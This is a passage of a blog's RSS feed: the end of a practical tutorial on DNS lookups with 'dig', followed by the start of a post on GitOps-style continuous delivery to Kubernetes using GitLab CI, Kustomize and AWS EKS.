<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">➜</span><span style="color: light-dark(#032F62, #96D0FF);">  ~</span><span style="color: light-dark(#032F62, #96D0FF);"> dig</span><span style="color: light-dark(#032F62, #96D0FF);"> mrkaran.dev</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>;</span><span style="color: light-dark(#D73A49, #F47067);"> &lt;&lt;</span><span style="color: light-dark(#032F62, #ADBAC7);">&gt;&gt;</span><span style="color: light-dark(#6F42C1, #F69D50);"> DiG</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 9.10.6</span><span style="color: light-dark(#D73A49, #F47067);"> &lt;&lt;</span><span style="color: light-dark(#032F62, #ADBAC7);">&gt;&gt;</span><span style="color: light-dark(#6F42C1, #F69D50);"> mrkaran.dev</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">;; global options: +cmd</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">;; Got answer:</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">;; -&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 23292</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">;; OPT PSEUDOSECTION:</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">; EDNS: version: 0, flags:; udp: 1220</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">;; QUESTION SECTION:</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">;mrkaran.dev.			IN	A</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">;; ANSWER SECTION:</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">mrkaran.dev.		60	IN	A	206.189.89.118</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">;; Query time: 6 msec</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">;; SERVER: 127.0.0.1#53(127.0.0.1)</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">;; WHEN: Tue Oct 29 23:13:31 IST 2019</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">;; MSG SIZE  rcvd: 67</span></span>
<span class="giallo-l"></span></code></pre>
<p>This is the most basic example for <code>dig</code>. Let’s explore some of the additional options.</p>
<h3 id="keep-it-short">Keep it short<a class="zola-anchor" href="#keep-it-short" aria-label="Anchor link for: keep-it-short">#</a></h3>
<p><code>dig +short</code> keeps the information to bare minimum and only displays the <code>ANSWER</code>.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">dig</span><span style="color: light-dark(#032F62, #96D0FF);"> +short</span><span style="color: light-dark(#032F62, #96D0FF);"> mrkaran.dev</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">206.189.89.118</span></span></code></pre><h3 id="nameserver-details">Nameserver details<a class="zola-anchor" href="#nameserver-details" aria-label="Anchor link for: nameserver-details">#</a></h3>
<p>If you want to find the <code>Nameserver</code> for your DNS records, you can use the query type <code>ns</code>.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">$</span><span style="color: light-dark(#032F62, #96D0FF);"> dig</span><span style="color: light-dark(#032F62, #96D0FF);"> mrkaran.dev</span><span style="color: light-dark(#032F62, #96D0FF);"> ns</span><span style="color: light-dark(#032F62, #96D0FF);"> +short</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">alec.ns.cloudflare.com.</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">cruz.ns.cloudflare.com.</span></span></code></pre>
<p><code>ns</code> is one of the many query types you can use to indicate which type of DNS record you want to fetch. Default is <code>A</code> record which returns the IPv4 address of the domain (unless it’s a root domain, in which case the default query type is <code>NS</code>). Some other examples of query types are <code>mx</code>, <code>AAAA</code>, <code>TXT</code> etc.</p>
<p>Fun Fact: <code>ANY</code> query type has become <a rel="external" href="https://blog.cloudflare.com/rfc8482-saying-goodbye-to-any/">obsolete</a> as per the new <a rel="external" href="https://tools.ietf.org/html/rfc8482">RFC8482</a> and DNS operators can choose to not respond to this query. The reason for this is that the payload response size for an <code>ANY</code> query is quite huge (since it has to return all type of DNS records) and this could affect the performance of authoritative servers in case of a <a rel="external" href="https://blog.cloudflare.com/deep-inside-a-dns-amplification-ddos-attack/">DNS amplification</a> attack.</p>
<h3 id="using-different-dns-server">Using different DNS server<a class="zola-anchor" href="#using-different-dns-server" aria-label="Anchor link for: using-different-dns-server">#</a></h3>
<p>Let’s say you want to switch to a different resolver, you can use <code>@</code> followed by the address of your DNS server.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">$</span><span style="color: light-dark(#032F62, #96D0FF);"> dig</span><span style="color: light-dark(#032F62, #96D0FF);"> mrkaran.dev</span><span style="color: light-dark(#032F62, #96D0FF);"> @9.9.9.9</span></span></code></pre><h3 id="reverse-dns-lookup">Reverse DNS Lookup<a class="zola-anchor" href="#reverse-dns-lookup" aria-label="Anchor link for: reverse-dns-lookup">#</a></h3>
<p>This one’s actually pretty cool. <code>dig -x</code> lets you query the IP and retrieve the hostname details for that IP.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">dig</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">x</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 206.189.89.118</span></span></code></pre><h3 id="multiple-queries">Multiple queries<a class="zola-anchor" href="#multiple-queries" aria-label="Anchor link for: multiple-queries">#</a></h3>
<p>You can input a list of domain names and pass the file with the arg <code>-f</code> to dig.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">$</span><span style="color: light-dark(#032F62, #96D0FF);"> cat</span><span style="color: light-dark(#032F62, #96D0FF);"> digfile</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">mrkaran.dev</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">joinmastodon.org</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">zoho.com</span></span></code></pre>
<p>To list down all MX records for the domains in a file, you can use something like:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">$</span><span style="color: light-dark(#032F62, #96D0FF);"> dig</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">f</span><span style="color: light-dark(#032F62, #96D0FF);"> digfile</span><span style="color: light-dark(#032F62, #96D0FF);"> +noall</span><span style="color: light-dark(#032F62, #96D0FF);"> mx</span><span style="color: light-dark(#032F62, #96D0FF);"> +answer</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">mrkaran.dev.</span><span style="color: light-dark(#005CC5, #6CB6FF);">		242</span><span style="color: light-dark(#032F62, #96D0FF);">	IN</span><span style="color: light-dark(#032F62, #96D0FF);">	MX</span><span style="color: light-dark(#005CC5, #6CB6FF);">	10</span><span style="color: light-dark(#032F62, #96D0FF);"> mx.zoho.in.</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">mrkaran.dev.</span><span style="color: light-dark(#005CC5, #6CB6FF);">		242</span><span style="color: light-dark(#032F62, #96D0FF);">	IN</span><span style="color: light-dark(#032F62, #96D0FF);">	MX</span><span style="color: light-dark(#005CC5, #6CB6FF);">	20</span><span style="color: light-dark(#032F62, #96D0FF);"> mx2.zoho.in.</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">mrkaran.dev.</span><span style="color: light-dark(#005CC5, #6CB6FF);">		242</span><span style="color: light-dark(#032F62, #96D0FF);">	IN</span><span style="color: light-dark(#032F62, #96D0FF);">	MX</span><span style="color: light-dark(#005CC5, #6CB6FF);">	50</span><span style="color: light-dark(#032F62, #96D0FF);"> mx3.zoho.in.</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">joinmastodon.org.</span><span style="color: light-dark(#005CC5, #6CB6FF);">	21599</span><span style="color: light-dark(#032F62, #96D0FF);">	IN</span><span style="color: light-dark(#032F62, #96D0FF);">	MX</span><span style="color: light-dark(#005CC5, #6CB6FF);">	10</span><span style="color: light-dark(#032F62, #96D0FF);"> in1-smtp.messagingengine.com.</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">joinmastodon.org.</span><span style="color: light-dark(#005CC5, #6CB6FF);">	21599</span><span style="color: light-dark(#032F62, #96D0FF);">	IN</span><span style="color: light-dark(#032F62, #96D0FF);">	MX</span><span style="color: light-dark(#005CC5, #6CB6FF);">	20</span><span style="color: light-dark(#032F62, #96D0FF);"> in2-smtp.messagingengine.com.</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">zoho.com.</span><span style="color: light-dark(#005CC5, #6CB6FF);">		299</span><span style="color: light-dark(#032F62, #96D0FF);">	IN</span><span style="color: light-dark(#032F62, #96D0FF);">	MX</span><span style="color: light-dark(#005CC5, #6CB6FF);">	10</span><span style="color: light-dark(#032F62, #96D0FF);"> smtpin.zoho.com.</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">zoho.com.</span><span style="color: light-dark(#005CC5, #6CB6FF);">		299</span><span style="color: light-dark(#032F62, #96D0FF);">	IN</span><span style="color: light-dark(#032F62, #96D0FF);">	MX</span><span style="color: light-dark(#005CC5, #6CB6FF);">	20</span><span style="color: light-dark(#032F62, #96D0FF);"> smtpin2.zoho.com.</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">zoho.com.</span><span style="color: light-dark(#005CC5, #6CB6FF);">		299</span><span style="color: light-dark(#032F62, #96D0FF);">	IN</span><span style="color: light-dark(#032F62, #96D0FF);">	MX</span><span style="color: light-dark(#005CC5, #6CB6FF);">	50</span><span style="color: light-dark(#032F62, #96D0FF);"> smtpin3.zoho.com.</span></span></code></pre><h3 id="search-list">Search List<a class="zola-anchor" href="#search-list" aria-label="Anchor link for: search-list">#</a></h3>
<p>I learnt this recently while debugging a DNS issue in one of the Kubernetes pods. Dig doesn’t use search paths by default, so if you have a service say <code>redis</code> inside a namespace dig won’t fetch any result:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">$</span><span style="color: light-dark(#032F62, #96D0FF);"> dig</span><span style="color: light-dark(#032F62, #96D0FF);"> redis</span><span style="color: light-dark(#032F62, #96D0FF);"> +short</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> empty output, indicates no record found</span></span></code></pre>
<p>This is because a service name in Kubernetes is of the form <code>service.namespace.svc.cluster.local</code>. So, we should actually be querying for <code>redis.myns.svc.cluster.local</code> and we’ll get our result. But isn’t that too long and painful (sorry for the pun) to type?</p>
<p>So, there’s another option <code>+search</code> which can be used to find all domains matching the search path defined in <code>/etc/resolv.conf</code> namesever configurations.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">$</span><span style="color: light-dark(#032F62, #96D0FF);"> cat</span><span style="color: light-dark(#032F62, #96D0FF);"> /etc/resolv.conf</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">nameserver</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 10.100.0.10</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">search</span><span style="color: light-dark(#032F62, #96D0FF);"> myns.svc.cluster.local</span><span style="color: light-dark(#032F62, #96D0FF);"> svc.cluster.local</span><span style="color: light-dark(#032F62, #96D0FF);"> cluster.local</span></span></code></pre>
<p>We can now query for <code>redis</code> with this search list:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">dig</span><span style="color: light-dark(#032F62, #96D0FF);"> redis</span><span style="color: light-dark(#032F62, #96D0FF);"> +search</span><span style="color: light-dark(#032F62, #96D0FF);"> +short</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">10.100.32.73</span></span></code></pre><h3 id="dnssec-validation">DNSSec Validation<a class="zola-anchor" href="#dnssec-validation" aria-label="Anchor link for: dnssec-validation">#</a></h3>
<p><code>dig</code> even lets you validate the DNS records you received using <code>DNSSEC</code> validation.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">$</span><span style="color: light-dark(#032F62, #96D0FF);"> dig</span><span style="color: light-dark(#032F62, #96D0FF);"> mrkaran.dev</span><span style="color: light-dark(#032F62, #96D0FF);"> +dnssec</span></span>
<span class="giallo-l"><span>;</span><span style="color: light-dark(#D73A49, #F47067);"> &lt;&lt;</span><span style="color: light-dark(#032F62, #ADBAC7);">&gt;&gt;</span><span style="color: light-dark(#6F42C1, #F69D50);"> DiG</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 9.10.6</span><span style="color: light-dark(#D73A49, #F47067);"> &lt;&lt;</span><span style="color: light-dark(#032F62, #ADBAC7);">&gt;&gt;</span><span style="color: light-dark(#6F42C1, #F69D50);"> mrkaran.dev</span><span style="color: light-dark(#032F62, #96D0FF);"> +dnssec</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">;; global options: +cmd</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">;; Got answer:</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">;; -&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 36275</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">;; flags: qr rd ra ad; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">;; OPT PSEUDOSECTION:</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">; EDNS: version: 0, flags: do; udp: 1452</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">;; QUESTION SECTION:</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">;mrkaran.dev.			IN	A</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">;; ANSWER SECTION:</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">mrkaran.dev.		20	IN	A	178.128.17.49</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">mrkaran.dev.		20	IN	RRSIG	A 13 2 20 20191112173050 20191110153050 34505 mrkaran.dev. Tl3zD6EqfVRvZi79ahePQcAXnbSUY9ZEYx/KwXnDUyonlrCKuBHzIYYC MJoVns410+sOwbIrcAdLgx+eiMYqRQ==</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">;; Query time: 65 msec</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">;; SERVER: 1.1.1.1#53(1.1.1.1)</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">;; WHEN: Mon Nov 11 22:01:01 IST 2019</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">;; MSG SIZE  rcvd: 163</span></span></code></pre>
<p>The important bit to note here is the <code>ad</code> flag set which represents Authenticated Data. The records will only be returned if the validation succeeds (unless you also specify <code>+cd</code> which indicates Checking Disabled flag.)</p>
<p>On a server which doesn’t have DNSSEC enabled, you can see no records are returned with the <code>+dnssec</code> flag.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">$</span><span style="color: light-dark(#032F62, #96D0FF);"> dig</span><span style="color: light-dark(#032F62, #96D0FF);"> dnssec-failed.org</span><span style="color: light-dark(#032F62, #96D0FF);"> +dnssec</span></span>
<span class="giallo-l"><span>;</span><span style="color: light-dark(#D73A49, #F47067);"> &lt;&lt;</span><span style="color: light-dark(#032F62, #ADBAC7);">&gt;&gt;</span><span style="color: light-dark(#6F42C1, #F69D50);"> DiG</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 9.10.6</span><span style="color: light-dark(#D73A49, #F47067);"> &lt;&lt;</span><span style="color: light-dark(#032F62, #ADBAC7);">&gt;&gt;</span><span style="color: light-dark(#6F42C1, #F69D50);"> dnssec-failed.org</span><span style="color: light-dark(#032F62, #96D0FF);"> +dnssec</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">;; global options: +cmd</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">;; Got answer:</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">;; -&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: SERVFAIL, id: 19886</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">;; QUESTION SECTION:</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">;dnssec-failed.org.		IN	A</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">;; Query time: 335 msec</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">;; SERVER: 1.1.1.1#53(1.1.1.1)</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">;; WHEN: Mon Nov 11 22:03:50 IST 2019</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">;; MSG SIZE  rcvd: 35</span></span></code></pre>
<p>That pretty much broadly covers some practical examples with <code>dig</code>. I will soon write a detailed post on how <code>DNSSEC</code> validation works and why it needs to be mainstream.</p>
<p>Fin!</p>
]]></content:encoded>
            <author>Karan Sharma</author>
        </item>
        <item>
            <title><![CDATA[GitOps approach to Continuous Delivery for Kubernetes]]></title>
            <link>https://mrkaran.dev/posts/gitops-kubernetes/</link>
            <guid isPermaLink="false">https://mrkaran.dev/posts/gitops-kubernetes/</guid>
            <pubDate>Mon, 11 Nov 2019 05:27:55 GMT</pubDate>
            <description><![CDATA[In this post, I’d like to share my experience and learnings about configuring a deployment pipeline for Kubernetes. I’ll be using Gitlab CI/CD and AWS EKS to demonstrate the concept, but the core idea remains the same: all changes must come declaratively from a single source of truth. GitOps is a relatively newer term in the town but goes back to the fundamentals of Infra as Code.
GitOps fundamentally is an operating model to perform tasks on Kubernetes related to deployments, configuration, secrets and monitoring workloads. All kind of changes must be performed via a single place, which happens to be a git repo. Benefits of that are what basically benefits of version controlling the code is. So why treat infra as any different? git happens to be the single source of truth for your infra, rollbacks are easy as reverting to last known good configuration and every change can be observed/verified.
Goals#
A lot of tutorials/blog posts hitherto cover a very basic scenario where they do kubectl apply and voila the deployment’s live. However we all know things are very different (to say the least) in production, so this post will cover all aspects of deployment:
Creating Manifests
Environment Promotion
Handling config and secrets
Authorization of CI/CD in the cluster
Basics#
A GitOps workflow looks like:
Push vs Pull#
There are 2 approaches to how you can handle deployments to a cluster. In a Pull based approach, the cluster runs a synch controller program which continmioously syncs the state of cluster with a Git repo. Any changes you make to the Git repo will be synced automatically in cluster. The idea is that there should be no drift in the desired state via Git repo and the actual state of cluster. Flux, Argo are good tools if you want a Pull based pipeline. The merits of Pull based pipeline is it’s more secure, since the deployment is actually happening inside cluster and no external sytstem needs to communicate to your production infra. The demerits are sometimes you’ve to wait for the changes to be synced (every controller runs these sync process in a loop with a sleep which can be configured). Also using any kind of preprocessing tools like Kustomize becomes difficult, since Flux just syncs the state and applies those changes. Handling of secrets is yet another concern, you need to look . And finally GitOps is a relatively newer tech in market so GitOps tooling is still nascent and like with any other relatively (non battle tested) software you’re gonna find bugs.
Push Approach however is a traditional CD approach, where the CD server talks to the cluster and applies changes through commands. In context of normal EC2 deployments, those commands could be SSH into server, running ansible playbook etc. In context of K8s however kubectl does the magic for us. The CD server needs to talk to the K8s API server and run kubectl commands to change the cluster state.
The merits of this approach are you can run all sorts of commands inside deployment pipeline and make it fully customisable. Handling of secrets also can be handled natively (like Gitlab env variables) or encrypted in git.
The demerits is that your production cluster is now exposed to your CD server.
Overall, if you have an airgapped CD server with no inbound ports open, access controll the user auth to CD, I found the Push approach to be more preferable. YMMV.
Writing the pipeline#
I’ve created a docker image eks-gitops which I’ll be using throughout the pipeline. This container image contains popular tools like kustomize, kubeval etc and scripts to configure access to cluster using kubectl using aws-iam-authenticator. I’ve written more about how RBAC works inside EKS here.
Excerpt from .gitla-ci.yml:
# Use this as base image for all jobs unless overriden
default:
  image:
    name: mrkaran/eks-gitops:latest
    entrypoint: ["/bin/sh", "-c"]
### Pipeline
stages:
  - validate
  - deploy
Prepare the manifests#
I use Kustomize to prepare the manifests. Advantage of Kustomize is writing template free YAMLs but still be able to customise them heavily using overlays. For different environments, you can apply certain changes like increasing resource requests, adding more storage, while keeping the base same.
Here’s a folder structure (from a real GitOps repo) I follow for manifests:
.
├── base
│   ├── deployments
│   │   ├── app.yml
│   │   ├── celery.yml
│   │   └── nginx.yml
│   ├── ingresses
│   │   └── web.yml
│   ├── kustomization.yaml
│   ├── services
│   │   ├── app.yml
│   │   ├── nginx.yml
│   │   └── redis-headless.yml
│   ├── statefulsets
│   │   └── redis.yml
│   └── volumes
│       └── redis.yml
├── kubekutter.yml
├── Makefile
├── overlays
│   ├── dev
│   └── prod
│       ├── configs
│       │   ├── app-config.env
│       │   └── app-nginx.conf
│       ├── kustomization.env.yml
│       ├── namespace.yml
│       ├── patches
│       │   ├── configure-configmap-volume.yml
│       │   ├── modify-alb.yml
│       │   └── resource-limits.yml
│       └── rbac.yml
└── README.md
Shameless Plug: I created kubekutr which makes managing of these manifests using kustomize a breeze.
Some things to note here:
Inside base/, I keep all the base resources required for the app to run. The resources can be Service, Deployment, Ingress etc.
Inside overlays there are multiple folders for different environment. This is very crucial as we want to separate the production config with a UAT config. Last-mile configuration to the base becomes very easy with this folder structure, since you only now need to build the manifests by targetting a specific folder in CI.
Inside overlays/{env}/patches are all the “patches” you want to do to the base resource. Think like replica count, ALB subnets (since different env can be in different VPCs), increasing resource limits and stuff like that.
rbac.yml abd namespace.yml is the only missing piece because it’s like a chicken and egg problem. I cannot deploy directly (at first go) from a CI/CD if I don’t have a namespace created since the CD server is configured only has limited namespaced restricted access. So unless I create a namespace, add proper RBAC for the CD server I cannot do any deployments from CD. Note however this is only a first time step, which I guess is okay.
Lint yo manifest#
I’m using kubeval to lint the manifests. The manifests have to prepared by kustomize. CI_ENVIRONMENT_NAME is set by Gitlab when you specify an environment for a job. Don’t sweat about this part, I’ll describe it more as we proceed.
# Validate the yaml using kubeval
.lint:
  extends: .prepare-manifest
  stage: validate
  script:
    - echo "Linting manifest for ${CI_ENVIRONMENT_NAME}"
    - kustomize build overlays/$CI_ENVIRONMENT_NAME --load_restrictor none | kubeval
Setup environment#
You can define environment name as:
# Create an environment to record all jobs for this env
.prod: &prod
  environment:
    name: prod
    url: https://prod.site
.dev: &dev
  environment:
    name: dev
    url: https://dev.site
Any job which is to be executed in a particular environment can include this variable and CI_ENVIRONMENT_NAME will be automatically set.
A cool feature of Gitlab is that you can restrict Variables scoped to the environment they are defined in.
Configure Secrets#
All secrets are defined as Environment Variables in Gitlab CD pipeline. While running the job, the runner has access to these variables and with the help of secretGenerator in kustomize, the Secret is created.
I use secretGenerator because any time a K8s secret changes, kustomize appends with a new suffix, which makes the Replication Controller believe that they deployment has changed. So a new deployment is automatically triggered.
Authenticate to cluster#
EKS uses aws-iam-authenticator and uses IAM access roles to allow the cluster to perform actions. Since this is a push based pipeline, you need to allow the access from your CD server to port 443.
Deploy changes#
This is as simple as kubectl apply which configures all the changes and diff between cluster and real world state.
Here’s a full gitops repo if you’re interested in checking it out:]]></description>
            <content:encoded><![CDATA[<p>In this post, I’d like to share my experience and learnings about configuring a deployment pipeline for Kubernetes. I’ll be using Gitlab CI/CD and AWS EKS to demonstrate the concept, but the core idea remains the same: <em>all changes must come declaratively from a single source of truth</em>. <code>GitOps</code> is a relatively newer term in the town but goes back to the fundamentals of <em>Infra as Code</em>.</p>
<p>GitOps fundamentally is an operating model to perform tasks on Kubernetes related to deployments, configuration, secrets and monitoring workloads. All kind of changes must be performed via a single place, which happens to be a <code>git</code> repo. Benefits of that are what basically benefits of version controlling the code is. So why treat infra as any different? <code>git</code> happens to be the single source of truth for your infra, rollbacks are easy as reverting to last known good configuration and every change can be observed/verified.</p>
<h2 id="goals">Goals<a class="zola-anchor" href="#goals" aria-label="Anchor link for: goals">#</a></h2>
<p>A lot of tutorials/blog posts hitherto cover a very basic scenario where they do <code>kubectl apply</code> and voila the deployment’s live. However we all know things are very different (to say the least) in production, so this post will cover all aspects of deployment:</p>
<ul>
<li>Creating Manifests</li>
<li>Environment Promotion</li>
<li>Handling config and secrets</li>
<li>Authorization of CI/CD in the cluster</li>
</ul>
<h3 id="basics">Basics<a class="zola-anchor" href="#basics" aria-label="Anchor link for: basics">#</a></h3>
<p>A GitOps workflow looks like:</p>
<h3 id="push-vs-pull">Push vs Pull<a class="zola-anchor" href="#push-vs-pull" aria-label="Anchor link for: push-vs-pull">#</a></h3>
<p>There are 2 approaches to how you can handle deployments to a cluster. In a Pull based approach, the cluster runs a synch controller program which continmioously syncs the state of cluster with a Git repo. Any changes you make to the Git repo will be synced automatically in cluster. The idea is that there should be no drift in the desired state via Git repo and the actual state of cluster. Flux, Argo are good tools if you want a Pull based pipeline. The merits of Pull based pipeline is it’s more secure, since the deployment is actually happening inside cluster and no external sytstem needs to communicate to your production infra. The demerits are sometimes you’ve to wait for the changes to be synced (every controller runs these sync process in a loop with a sleep which can be configured). Also using any kind of preprocessing tools like Kustomize becomes difficult, since Flux just syncs the state and applies those changes. Handling of secrets is yet another concern, you need to look . And finally GitOps is a relatively newer tech in market so GitOps tooling is still nascent and like with any other relatively (non battle tested) software you’re gonna find bugs.</p>
<p>Push Approach however is a traditional CD approach, where the CD server talks to the cluster and applies changes through commands. In context of normal EC2 deployments, those commands could be SSH into server, running ansible playbook etc. In context of K8s however <code>kubectl</code> does the magic for us. The CD server needs to talk to the K8s API server and run kubectl commands to change the cluster state.
The merits of this approach are you can run all sorts of commands inside deployment pipeline and make it fully customisable. Handling of secrets also can be handled natively (like Gitlab env variables) or encrypted in <code>git</code>.
The demerits is that your production cluster is now exposed to your CD server.</p>
<p>Overall, if you have an airgapped CD server with no inbound ports open, access controll the user auth to CD, I found the Push approach to be more preferable. YMMV.</p>
<h2 id="writing-the-pipeline">Writing the pipeline<a class="zola-anchor" href="#writing-the-pipeline" aria-label="Anchor link for: writing-the-pipeline">#</a></h2>
<p>I’ve created a docker <a rel="external" href="https://github.com/mr-karan/eks-gitops">image</a> <code>eks-gitops</code> which I’ll be using throughout the pipeline. This container image contains popular tools like <code>kustomize</code>, <code>kubeval</code> etc and scripts to configure access to cluster using <code>kubectl</code> using <code>aws-iam-authenticator</code>. I’ve written more about how RBAC works inside EKS <a rel="external" href="https://mrkaran.dev/posts/intro-rbac-kubernetes/">here</a>.</p>
<p><em>Excerpt from <code>.gitla-ci.yml</code></em>:</p>
